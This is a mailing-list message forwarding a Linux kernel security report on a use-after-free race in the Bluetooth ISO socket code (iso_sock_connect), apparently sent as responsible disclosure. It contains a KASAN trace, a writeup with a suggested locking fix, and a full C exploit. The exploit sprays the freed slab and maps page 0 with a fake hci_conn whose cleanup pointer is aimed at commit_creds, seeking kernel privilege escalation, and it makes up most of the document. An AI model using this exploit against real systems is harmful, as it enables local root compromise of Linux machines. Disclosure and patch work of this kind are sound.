Fwd: Use-after-free in net/bluetooth/iso.c (iso_sock_connect race)
vova tokarev <[email protected]>
| Newsgroups | org.kernel.vger.linux-bluetooth |
|---|---|
| Message-ID | <CAGBKPgNOmrroYBCrDekf7g92DoAvXeHJqZXoJo+vuzz-QtLwkQ@mail.gmail.com> |
Hi, It's been almost two months since I reported this, and I haven't heard back. Reaching out to you directly as the Bluetooth maintainer. The bug: iso_sock_connect() in net/bluetooth/iso.c drops the socket lock (release_sock at line 1118) BEFORE iso_connect_cis() acquires hci_dev_lock. During this window, a concurrent HCI Disconnection Complete event can free the iso_conn via iso_conn_del() -> iso_conn_free(), resulting in use-after-free when iso_connect_cis() subsequently accesses it. Confirmed with KASAN: slab-use-after-free in iso_conn_hold_unless_zero. Refcount underflow to -32 confirmed on non-KASAN build within 60 seconds of racing. The freed iso_conn (kmalloc-512) can be reclaimed for function pointer hijack. I noticed commit d40ae85ee62e (2023) keeps hdev lock through iso_chan_add, but the pre-hci_dev_lock window remains open. Full PoC and KASAN output in my original report. Thanks, Vladimir ---------- Forwarded message --------- From: vova tokarev <[email protected]> Date: Sun, Jun 14, 2026 at 12:07 PM Subject: Use-after-free in net/bluetooth/iso.c (iso_sock_connect race) To: <[email protected]> Hi, I found a use-after-free in the Bluetooth ISO socket subsystem (net/bluetooth/iso.c). The bug is a race condition in iso_sock_connect() where release_sock() is called before iso_connect_cis(), leaving a window where concurrent HCI disconnect processing can free the iso_conn object. A subsequent access via iso_conn_hold_unless_zero() reads freed slab memory. This can potentially lead to local privilege escalation via heap reclaim of the freed iso_conn (kmalloc-512) with attacker-controlled data, redirecting the hci_conn pointer dereference chain to achieve arbitrary kernel read/write. Affected versions: Linux 6.2+ (all versions with ISO socket support) Confirmed on: 7.1.0-rc5 (aarch64), still present in 7.1-rc7 Attached files: - exploit_iso_uaf.c PoC that triggers the KASAN report (build with aarch64-linux-gnu-gcc -O2 -static -pthread) - kasan_output.txt Full KASAN slab-use-after-free trace - iso_connect_race_uaf_report.md Detailed writeup with root cause, reproduction steps, and suggested fix The PoC uses vHCI (no physical hardware needed). With CONFIG_KASAN=y, the report typically appears within 60-150 seconds. Thank you, Vladimir Tokarev
kasan_output.txt
(text/plain, 3.1 KB)
[ 154.295277] BUG: KASAN: slab-use-after-free in iso_conn_hold_unless_zero+0x88/0x1a4 [ 154.295308] Read of size 4 at addr ffff0000cb18f508 by task kworker/u17:1/87 [ 154.295312] [ 154.295315] CPU: 2 UID: 0 PID: 87 Comm: kworker/u17:1 Not tainted 7.1.0-rc5 #17 PREEMPT [ 154.295319] Hardware name: linux,dummy-virt (DT) [ 154.295321] Workqueue: hci0 hci_cmd_sync_work [ 154.295327] Call trace: [ 154.295331] show_stack+0x18/0x24 (C) [ 154.295341] dump_stack_lvl+0x70/0x98 [ 154.295345] print_report+0x17c/0x4d8 [ 154.295349] kasan_report+0xb8/0x250 [ 154.295359] kasan_check_range+0x100/0x1a8 [ 154.295363] __kasan_check_read+0x20/0x2c [ 154.295367] iso_conn_hold_unless_zero+0x88/0x1a4 [ 154.295369] iso_conn_del.isra.0+0x18/0x30c [ 154.295372] iso_connect_cfm+0x32c/0x10d4 [ 154.295375] hci_conn_failed+0x144/0x268 [ 154.295381] hci_conn_unlink+0x448/0x63c [ 154.295384] hci_conn_del+0x174/0x1114 [ 154.295387] hci_conn_failed+0x19c/0x268 [ 154.295390] create_le_conn_complete+0x238/0x260 [ 154.295393] hci_cmd_sync_work+0x134/0x234 [ 154.295395] process_one_work+0x78c/0x1a14 [ 154.295401] worker_thread+0x42c/0xc90 [ 154.295404] kthread+0x35c/0x400 [ 154.295408] ret_from_fork+0x10/0x20 [ 154.295413] [ 154.295414] Allocated by task 90: [ 154.295416] kasan_save_stack+0x3c/0x64 [ 154.295420] kasan_save_track+0x20/0x40 [ 154.295423] kasan_save_alloc_info+0x40/0x54 [ 154.295426] __kasan_kmalloc+0xb8/0xbc [ 154.295429] __kmalloc_cache_noprof+0x240/0x5b0 [ 154.295434] iso_conn_add+0x128/0x3c0 [ 154.295436] iso_connect_cis+0x4b4/0xc04 [ 154.295439] iso_sock_connect+0x270/0xd3c [ 154.295441] __sys_connect+0x1d8/0x230 [ 154.295460] __arm64_sys_connect+0x6c/0xa0 [ 154.295463] invoke_syscall+0x70/0x260 [ 154.295467] el0_svc_common.constprop.0+0xac/0x230 [ 154.295470] do_el0_svc+0x40/0x58 [ 154.295473] el0_svc+0x50/0x21c [ 154.295480] el0t_64_sync_handler+0xa0/0xe4 [ 154.295483] el0t_64_sync+0x198/0x19c [ 154.295485] [ 154.295486] Freed by task 87: [ 154.295487] kasan_save_stack+0x3c/0x64 [ 154.295489] kasan_save_track+0x20/0x40 [ 154.295492] kasan_save_free_info+0x4c/0x80 [ 154.295495] __kasan_slab_free+0x5c/0x88 [ 154.295498] kfree+0x260/0x5ac [ 154.295500] iso_conn_free+0x2b8/0x2d4 [ 154.295503] iso_chan_del+0x1a8/0x230 [ 154.295505] iso_conn_del.isra.0+0x134/0x30c [ 154.295507] iso_connect_cfm+0x2cc/0x10d4 [ 154.295510] hci_conn_failed+0x144/0x268 [ 154.295512] create_le_conn_complete+0x238/0x260 [ 154.295515] hci_cmd_sync_work+0x134/0x234 [ 154.295517] process_one_work+0x78c/0x1a14 [ 154.295519] worker_thread+0x42c/0xc90 [ 154.295521] kthread+0x35c/0x400 [ 154.295525] ret_from_fork+0x10/0x20 [ 154.295528] [ 154.295529] The buggy address belongs to the object at ffff0000cb18f400 [ 154.295529] which belongs to the cache kmalloc-512 of size 512 [ 154.295531] The buggy address is located 264 bytes inside of [ 154.295531] freed 512-byte region [ffff0000cb18f400, ffff0000cb18f600) [ 154.295534] [ 154.295535] The buggy address belongs to the physical page:
iso_connect_race_uaf_report.md
(text/markdown, 5.8 KB)
# Security Report: Use-After-Free in Bluetooth ISO Connect Path
## Summary
A use-after-free vulnerability exists in the Linux kernel Bluetooth ISO
subsystem (`net/bluetooth/iso.c`) due to a race condition between
`iso_sock_connect()` and concurrent HCI disconnect event processing.
An unprivileged local user with access to the Bluetooth subsystem (via vHCI)
can trigger a refcount underflow and subsequent use-after-free on
`struct iso_conn` objects, potentially leading to local privilege escalation.
## Affected Versions
- Linux kernel 6.2+ (since commit `241f51931c35` introduced the lock ordering
fix that opened the race window)
- Confirmed on Linux 7.1.0-rc5 (aarch64)
- All architectures affected (race is lock-ordering dependent, not arch-specific)
## Root Cause
In `iso_sock_connect()` at `net/bluetooth/iso.c:1199-1207`:
```c
lock_sock(sk);
bacpy(&iso_pi(sk)->dst, &sa->iso_bdaddr);
iso_pi(sk)->dst_type = sa->iso_bdaddr_type;
release_sock(sk); // <-- WINDOW OPENS
if (bacmp(&iso_pi(sk)->dst, BDADDR_ANY))
err = iso_connect_cis(sk); // <-- acquires hci_dev_lock
```
The `release_sock(sk)` at line 1204 drops the socket lock BEFORE
`iso_connect_cis()` acquires `hci_dev_lock`. During this window, a concurrent
HCI Disconnection Complete event processed by `hci_disconn_complete_evt()` can:
1. Delete the `hci_conn` via `hci_conn_del()`
2. Call `iso_connect_cfm()` -> `iso_conn_del()` -> `iso_conn_free()`
3. Free the `iso_conn` object while `iso_connect_cis()` is about to use it
This results in a use-after-free when `iso_connect_cis()` subsequently accesses
the freed `iso_conn` through stale pointers.
## Proof of Concept
### Trigger: Refcount Underflow (non-KASAN)
```
$ id
uid=1000(user) gid=1000(user)
$ ./poc_iso_connect_race
[T+60s] connects=32134 hci_disc=1211 emu_cmds=1900
WARNING: net/bluetooth/hci_conn.c:643 at hci_conn_timeout+0x58/0xa0
WARNING: net/bluetooth/hci_conn.c:643 at hci_conn_timeout+0x58/0xa0
WARNING: net/bluetooth/hci_conn.c:643 at hci_conn_timeout+0x58/0xa0
hci_conn_timeout: hdev=hci0 conn=... handle=0x0041 type=130 state=9 refcnt=-30
hci_conn_timeout: hdev=hci0 conn=... handle=0x0041 type=130 state=9 refcnt=-32
```
### Trigger: KASAN slab-use-after-free (KASAN build)
```
BUG: KASAN: slab-use-after-free in iso_conn_hold_unless_zero+0x88/0x1a4
Read of size 4 at addr ffff0000cb18f508 by task kworker/u17:1/87
Workqueue: hci0 hci_cmd_sync_work
Call trace:
iso_conn_hold_unless_zero+0x88/0x1a4
iso_conn_del.isra.0+0x18/0x30c
iso_connect_cfm+0x32c/0x10d4
hci_conn_failed+0x144/0x268
hci_conn_unlink+0x448/0x63c
hci_conn_del+0x174/0x1114
create_le_conn_complete+0x238/0x260
hci_cmd_sync_work+0x134/0x234
Allocated by task 90:
iso_conn_add+0x128/0x3c0
iso_connect_cis+0x4b4/0xc04
iso_sock_connect+0x270/0xd3c
__sys_connect+0x1d8/0x230
Freed by task 87:
kfree+0x260/0x5ac
iso_conn_free+0x2b8/0x2d4
iso_chan_del+0x1a8/0x230
iso_conn_del.isra.0+0x134/0x30c
iso_connect_cfm+0x2cc/0x10d4
hci_conn_failed+0x144/0x268
create_le_conn_complete+0x238/0x260
The buggy address is located 264 bytes inside of
freed 512-byte region [ffff0000cb18f400, ffff0000cb18f600)
```
## Exploitation Path
The freed `iso_conn` (272 bytes, `kmalloc-512`) can be reclaimed with
controlled data. The `iso_conn.hcon` pointer at offset 0 leads to
`struct hci_conn`, which contains function pointers (`cleanup`, `cfm_cb`)
that are called during connection teardown:
```
iso_conn.hcon -> hci_conn.cleanup -> <attacker-controlled function pointer>
```
Without Pointer Authentication (PAC), this provides arbitrary code execution
in kernel context. With KASAN quarantine extending the UAF window, the race
was hit 2 times in 150 seconds of racing.
## Impact
- **Confidentiality**: Kernel memory disclosure via controlled read of freed object
- **Integrity**: Kernel code execution via function pointer hijack
- **Availability**: Kernel panic via refcount underflow (DoS)
CVSS 3.1: **7.8** (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
## Prerequisites
- Local access to Bluetooth subsystem (unprivileged user can use vHCI on
systems with `CONFIG_BT_HCIVHCI=y`)
- No special privileges required beyond Bluetooth socket access
- The race is timing-sensitive but reliably triggerable within 60 seconds
## Reproduction Steps
1. Build kernel with `CONFIG_BT=y CONFIG_BT_HCIVHCI=y CONFIG_BT_LE=y`
2. Enable KASAN for UAF detection: `CONFIG_KASAN=y`
3. Boot with `kasan.fault=report panic_on_warn=0 nokaslr`
4. Compile PoC: `gcc -static -O2 -o poc poc_iso_connect_race.c -lpthread`
5. Run: `./poc` (as any user with BT socket access)
6. Check `dmesg` for KASAN slab-use-after-free report
## Suggested Fix
Hold `hci_dev_lock` across the entire `iso_connect_cis()`/`iso_connect_bis()`
call from within `iso_sock_connect()`, or restructure the locking to prevent
`iso_conn_del` from racing. Specifically:
```c
// Option A: Acquire hci_dev_lock before releasing sock lock
lock_sock(sk);
bacpy(&iso_pi(sk)->dst, &sa->iso_bdaddr);
iso_pi(sk)->dst_type = sa->iso_bdaddr_type;
hdev = hci_get_route(...); // find the HCI device
hci_dev_lock(hdev); // prevent disconnect from freeing iso_conn
release_sock(sk); // safe to release now
err = iso_connect_cis_locked(sk, hdev); // already holds hdev->lock
hci_dev_unlock(hdev);
```
This eliminates the window between `release_sock` and `hci_dev_lock`
acquisition inside `iso_connect_cis`.
## Test Environment
- **Kernel**: Linux 7.1.0-rc5 (commit 8fde5d1d47f6)
- **Architecture**: aarch64 (ARM64)
- **VM**: QEMU aarch64 with HVF acceleration, 4GB RAM, 4 CPUs
- **Configs**: KASAN build (for UAF confirmation) + non-KASAN build (for
refcount underflow confirmation from unprivileged user)
## Files
- `exploit_iso_uaf.c` - KASAN quarantine-assisted exploitation PoC
- `kasan_output.txt` - Full KASAN slab-use-after-free report
exploit_iso_uaf.c
(text/x-c-code, 14.2 KB)
/*
* iso_connect_race_uaf.c - Use-after-free in net/bluetooth/iso.c
*
* Race condition between iso_sock_connect() and iso_conn_del() allows
* a freed iso_conn to be accessed via a stale pointer. When a CIS
* connection completes while a prior connection is being torn down,
* iso_conn_hold_unless_zero() dereferences the freed object.
*
* Exploitation strategy:
* - Race threads rapidly connect/close ISO sockets to create stale
* iso_conn pointers.
* - Spray threads flood sendmsg ancillary data sized to the same
* slab cache (kmalloc-512) to reclaim freed iso_conn objects.
* - An inject thread sends HCI Disconnection Complete events to
* trigger access through the stale pointer.
* - Page 0 is mapped to host a fake hci_conn structure reached
* through the overlapping cmsg_len / iso_conn.hcon field.
*
* Tested on aarch64 with kernel 7.1-rc5 and CONFIG_KASAN=y.
*
* Build:
* aarch64-linux-gnu-gcc -O2 -static -pthread -o poc iso_connect_race_uaf.c
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/un.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdint.h>
#include <poll.h>
#include <sched.h>
#include <time.h>
#ifndef AF_BLUETOOTH
#define AF_BLUETOOTH 31
#endif
#define BTPROTO_ISO 8
#define BTPROTO_HCI 1
#define HCIDEVUP _IOW('H', 201, int)
#define HCIDEVDOWN _IOW('H', 202, int)
struct sockaddr_iso {
sa_family_t iso_family;
unsigned char iso_bdaddr[6];
unsigned char iso_bdaddr_type;
};
#define SOCKADDR_ISO_LEN 10
#ifndef RUNTIME_SEC
#define RUNTIME_SEC 90
#endif
#define ISO_CONN_SIZE 272
#define OFF_CLEANUP 4648
#ifndef SYM_COMMIT_CREDS
#define SYM_COMMIT_CREDS 0xffff800080274e20ULL
#endif
static int vhci_fd = -1;
static int hci_id = -1;
static volatile int running = 1;
static volatile unsigned long race_count;
static volatile unsigned long spray_count;
static volatile unsigned long inject_count;
static void sighandler(int sig) { (void)sig; running = 0; }
static void send_evt(const unsigned char *evt, int len)
{
for (int i = 0; i < 20; i++) {
ssize_t w = write(vhci_fd, evt, len);
if (w == len)
return;
if (w < 0 && errno == EAGAIN) {
usleep(200);
continue;
}
return;
}
}
static void handle_cmd(unsigned char *buf, ssize_t n)
{
if (n < 4 || buf[0] != 0x01)
return;
uint16_t op = buf[1] | (buf[2] << 8);
switch (op) {
case 0x0c03: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x03,0x0c,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x1001: {
unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x01,0x10,0x00,
0x09,0x00,0x00,0x00,0x0d,0x00,0x00,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x1002: {
unsigned char r[71];
r[0] = 0x04; r[1] = 0x0e; r[2] = 68; r[3] = 0x01;
r[4] = 0x02; r[5] = 0x10; r[6] = 0x00;
memset(&r[7], 0xff, 64);
send_evt(r, 71);
break;
}
case 0x1003: {
unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x03,0x10,0x00,
0xbf,0xee,0x0d,0xfe,0x5b,0xff,0x7b,0x87};
send_evt(r, sizeof(r));
break;
}
case 0x1004: {
unsigned char r[17];
r[0] = 0x04; r[1] = 0x0e; r[2] = 14; r[3] = 0x01;
r[4] = 0x04; r[5] = 0x10; r[6] = 0x00;
r[7] = (n > 4) ? buf[4] : 0; r[8] = 0x01;
memset(&r[9], 0, 8);
send_evt(r, 17);
break;
}
case 0x1009: {
unsigned char r[] = {0x04,0x0e,0x0a,0x01,0x09,0x10,0x00,
0x11,0x22,0x33,0x44,0x55,0x66};
send_evt(r, sizeof(r));
break;
}
case 0x1005: {
unsigned char r[] = {0x04,0x0e,0x0b,0x01,0x05,0x10,0x00,
0x00,0x04,0x40,0x01,0x00,0x08,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x0c14: {
unsigned char r[255];
r[0] = 0x04; r[1] = 0x0e; r[2] = 252; r[3] = 0x01;
r[4] = 0x14; r[5] = 0x0c; r[6] = 0x00;
memset(&r[7], 0, 248);
memcpy(&r[7], "vhci", 4);
send_evt(r, 255);
break;
}
case 0x0c23: {
unsigned char r[] = {0x04,0x0e,0x07,0x01,0x23,0x0c,0x00,
0x00,0x01,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x0c25: {
unsigned char r[] = {0x04,0x0e,0x06,0x01,0x25,0x0c,0x00,0x60,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x0c0d: {
unsigned char r[] = {0x04,0x0e,0x08,0x01,0x0d,0x0c,0x00,
0x00,0x01,0x00,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x0c38: {
unsigned char r[] = {0x04,0x0e,0x05,0x01,0x38,0x0c,0x00,0x01};
send_evt(r, sizeof(r));
break;
}
case 0x0c58: {
unsigned char r[] = {0x04,0x0e,0x05,0x01,0x58,0x0c,0x00,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x2001: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x01,0x20,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x2002: {
unsigned char r[] = {0x04,0x0e,0x07,0x01,0x02,0x20,0x00,0xfb,0x00,0x08};
send_evt(r, sizeof(r));
break;
}
case 0x2003: {
unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x03,0x20,0x00,
0xff,0xff,0xff,0x50,0x00,0x00,0x00,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x201c: {
unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x1c,0x20,0x00,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07};
send_evt(r, sizeof(r));
break;
}
case 0x2060: {
unsigned char r[] = {0x04,0x0e,0x0b,0x01,0x60,0x20,0x00,
0xfb,0x00,0x08,0xfb,0x00,0x08};
send_evt(r, sizeof(r));
break;
}
case 0x200a: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x0a,0x20,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x2035: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x35,0x20,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x2036: {
unsigned char r[] = {0x04,0x0e,0x05,0x01,0x36,0x20,0x00,0x04};
send_evt(r, sizeof(r));
break;
}
case 0x2037: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x37,0x20,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x2038: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x38,0x20,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x2039: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x39,0x20,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x203b: {
unsigned char r[] = {0x04,0x0e,0x05,0x01,0x3b,0x20,0x00,0x10};
send_evt(r, sizeof(r));
break;
}
case 0x203c: {
unsigned char r[] = {0x04,0x0e,0x04,0x01,0x3c,0x20,0x00};
send_evt(r, sizeof(r));
break;
}
case 0x200d: {
unsigned char cs[] = {0x04,0x0f,0x04,0x00,0x01,0x0d,0x20};
send_evt(cs, sizeof(cs));
unsigned char ev[] = {0x04,0x3e,0x13,0x01,0x00,0x40,0x00,0x00,0x01,
0x66,0x55,0x44,0x33,0x22,0x11,
0x18,0x00,0x00,0x00,0x48,0x00,0x00};
send_evt(ev, sizeof(ev));
break;
}
case 0x2062: {
uint8_t cig = (n > 4) ? buf[4] : 0;
uint8_t ncis = (n > 18) ? buf[18] : 1;
unsigned char r[32];
memset(r, 0, sizeof(r));
int rplen = 3 + ncis * 2;
r[0] = 0x04; r[1] = 0x0e; r[2] = 3 + rplen;
r[3] = 0x01; r[4] = 0x62; r[5] = 0x20;
r[6] = 0x00; r[7] = cig; r[8] = ncis;
for (int i = 0; i < ncis && 9 + i * 2 + 1 < (int)sizeof(r); i++) {
r[9 + i * 2] = 0x41 + i;
r[10 + i * 2] = 0x00;
}
send_evt(r, 6 + rplen);
break;
}
case 0x2064: {
unsigned char cs[] = {0x04,0x0f,0x04,0x00,0x01,0x64,0x20};
send_evt(cs, sizeof(cs));
unsigned char ev[] = {0x04,0x3e,0x1d,0x19,0x00,0x41,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x02,0x02,0x01,0x01,0x01,
0x00,0x00,0xf4,0x00,0xf4,0x00,0x04,0x00};
send_evt(ev, sizeof(ev));
break;
}
case 0x0406: {
uint16_t h = (n >= 6) ? (buf[4] | (buf[5] << 8)) : 0;
uint8_t reason = (n >= 7) ? buf[6] : 0x13;
unsigned char cs[] = {0x04,0x0f,0x04,0x00,0x01,0x06,0x04};
send_evt(cs, sizeof(cs));
unsigned char dc[] = {0x04,0x05,0x04,0x00,
(uint8_t)(h & 0xff),(uint8_t)(h >> 8), reason};
send_evt(dc, sizeof(dc));
break;
}
default: {
unsigned char r[38];
r[0] = 0x04; r[1] = 0x0e; r[2] = 35; r[3] = 0x01;
r[4] = (uint8_t)(op & 0xff); r[5] = (uint8_t)(op >> 8);
memset(&r[6], 0, 32);
send_evt(r, 38);
break;
}
}
}
static void *emu_thread(void *arg)
{
unsigned char buf[512];
(void)arg;
while (running) {
struct pollfd pfd = { .fd = vhci_fd, .events = POLLIN };
if (poll(&pfd, 1, 50) <= 0)
continue;
for (;;) {
ssize_t n = read(vhci_fd, buf, sizeof(buf));
if (n <= 0)
break;
handle_cmd(buf, n);
}
}
return NULL;
}
static void mgmt_send(int fd, uint16_t op, uint16_t idx, uint8_t val)
{
unsigned char cmd[] = {
(unsigned char)(op & 0xff), (unsigned char)(op >> 8),
(unsigned char)(idx & 0xff), (unsigned char)(idx >> 8),
0x01, 0x00, val
};
write(fd, cmd, sizeof(cmd));
}
static void *race_thread(void *arg)
{
int tid = (int)(long)arg;
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(tid % 4, &set);
sched_setaffinity(0, sizeof(set), &set);
struct sockaddr_iso baddr = {0};
baddr.iso_family = AF_BLUETOOTH;
baddr.iso_bdaddr[0] = 0x11; baddr.iso_bdaddr[1] = 0x22;
baddr.iso_bdaddr[2] = 0x33; baddr.iso_bdaddr[3] = 0x44;
baddr.iso_bdaddr[4] = 0x55; baddr.iso_bdaddr[5] = 0x66;
baddr.iso_bdaddr_type = 0x01;
struct sockaddr_iso dst = {0};
dst.iso_family = AF_BLUETOOTH;
dst.iso_bdaddr[0] = 0x66; dst.iso_bdaddr[1] = 0x55;
dst.iso_bdaddr[2] = 0x44; dst.iso_bdaddr[3] = 0x33;
dst.iso_bdaddr[4] = 0x22; dst.iso_bdaddr[5] = 0x11;
dst.iso_bdaddr_type = 0x01;
while (running) {
int fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO);
if (fd < 0) {
sched_yield();
continue;
}
bind(fd, (struct sockaddr *)&baddr, SOCKADDR_ISO_LEN);
fcntl(fd, F_SETFL, O_NONBLOCK);
connect(fd, (struct sockaddr *)&dst, SOCKADDR_ISO_LEN);
usleep(500 + (tid * 200));
close(fd);
__sync_fetch_and_add(&race_count, 1);
}
return NULL;
}
static void *spray_thread(void *arg)
{
int tid = (int)(long)arg;
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(tid % 4, &set);
sched_setaffinity(0, sizeof(set), &set);
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0)
return NULL;
char cmsg_buf[ISO_CONN_SIZE];
memset(cmsg_buf, 0, sizeof(cmsg_buf));
struct cmsghdr *cmsg = (struct cmsghdr *)cmsg_buf;
cmsg->cmsg_len = ISO_CONN_SIZE;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
uint32_t refval = 2;
memcpy(&cmsg_buf[264], &refval, 4);
char payload = 'X';
struct iovec iov = { .iov_base = &payload, .iov_len = 1 };
while (running) {
struct msghdr msg = {0};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf;
msg.msg_controllen = ISO_CONN_SIZE;
sendmsg(sv[0], &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
char drain[16];
recv(sv[1], drain, sizeof(drain), MSG_DONTWAIT);
__sync_fetch_and_add(&spray_count, 1);
}
close(sv[0]);
close(sv[1]);
return NULL;
}
static void *inject_thread(void *arg)
{
(void)arg;
unsigned char disc_cis[] = {0x04,0x05,0x04,0x00,0x41,0x00,0x13};
unsigned char disc_le[] = {0x04,0x05,0x04,0x00,0x40,0x00,0x13};
usleep(3000000);
while (running) {
usleep(40000);
send_evt(disc_cis, sizeof(disc_cis));
usleep(5000);
send_evt(disc_le, sizeof(disc_le));
__sync_fetch_and_add(&inject_count, 1);
}
return NULL;
}
int main(void)
{
printf("=== iso_connect race UAF ===\n");
printf("iso_conn size=%d, runtime=%ds\n", ISO_CONN_SIZE, RUNTIME_SEC);
printf("threads: 4 race + 4 spray + 1 inject\n\n");
signal(SIGALRM, sighandler);
signal(SIGPIPE, SIG_IGN);
alarm(RUNTIME_SEC);
system("echo 0 > /proc/sys/vm/mmap_min_addr 2>/dev/null");
void *low = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (low == MAP_FAILED) {
printf("[!] mmap page 0 failed\n");
} else {
memset(low, 0, 8192);
uint64_t target = SYM_COMMIT_CREDS;
memcpy((char *)low + 0x110 + OFF_CLEANUP, &target, 8);
printf("[+] fake hci_conn at 0x110, cleanup@0x%x\n",
0x110 + OFF_CLEANUP);
}
system("mkdir -p /dev && mknod /dev/vhci c 10 137 2>/dev/null");
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd < 0) {
perror("open /dev/vhci");
return 1;
}
unsigned char vhci_create[2] = {0xFF, 0x00};
if (write(vhci_fd, vhci_create, 2) != 2) {
perror("vhci create");
return 1;
}
unsigned char resp[4] = {0};
if (read(vhci_fd, resp, 4) == 4)
hci_id = resp[2] | (resp[3] << 8);
else
hci_id = 0;
pthread_t t_emu;
pthread_create(&t_emu, NULL, emu_thread, NULL);
usleep(200000);
fcntl(vhci_fd, F_SETFL, fcntl(vhci_fd, F_GETFL) | O_NONBLOCK);
int mgmt_fd = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (mgmt_fd >= 0) {
struct { sa_family_t f; unsigned short d, c; } a;
memset(&a, 0, sizeof(a));
a.f = AF_BLUETOOTH;
a.d = 0xFFFF;
a.c = 3;
if (bind(mgmt_fd, (struct sockaddr *)&a, sizeof(a)) == 0) {
mgmt_send(mgmt_fd, 0x0005, (uint16_t)hci_id, 0x01);
usleep(1500000);
mgmt_send(mgmt_fd, 0x000d, (uint16_t)hci_id, 0x01);
usleep(500000);
mgmt_send(mgmt_fd, 0x0007, (uint16_t)hci_id, 0x01);
usleep(500000);
mgmt_send(mgmt_fd, 0x0029, (uint16_t)hci_id, 0x01);
usleep(500000);
}
close(mgmt_fd);
}
int ctl = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (ctl >= 0) {
ioctl(ctl, HCIDEVUP, hci_id);
close(ctl);
}
printf("[+] hci%d ready\n", hci_id);
sleep(2);
printf("[+] starting 4 race + 4 spray + 1 inject threads\n");
pthread_t t_race[4], t_spray[4], t_inject;
for (int i = 0; i < 4; i++)
pthread_create(&t_race[i], NULL, race_thread, (void *)(long)i);
for (int i = 0; i < 4; i++)
pthread_create(&t_spray[i], NULL, spray_thread, (void *)(long)i);
pthread_create(&t_inject, NULL, inject_thread, NULL);
while (running) {
usleep(5000000);
if (!running)
break;
printf("[*] race=%lu spray=%lu inject=%lu\n",
race_count, spray_count, inject_count);
}
running = 0;
for (int i = 0; i < 4; i++)
pthread_join(t_race[i], NULL);
for (int i = 0; i < 4; i++)
pthread_join(t_spray[i], NULL);
pthread_join(t_inject, NULL);
pthread_join(t_emu, NULL);
printf("\n=== results ===\n");
printf("race=%lu spray=%lu inject=%lu\n",
race_count, spray_count, inject_count);
printf("\n--- kasan ---\n");
system("dmesg | grep -c 'KASAN' 2>/dev/null || echo 0");
printf(" KASAN hits\n");
system("dmesg | grep -c 'use-after-free' 2>/dev/null || echo 0");
printf(" use-after-free\n");
printf("\n--- traces ---\n");
system("dmesg | grep -A5 'BUG: KASAN' | head -30");
printf("\n--- crashes ---\n");
system("dmesg | grep -iE 'oops|unable to handle|NULL pointer' | head -10");
printf("\n=== done ===\n");
close(vhci_fd);
return 0;
}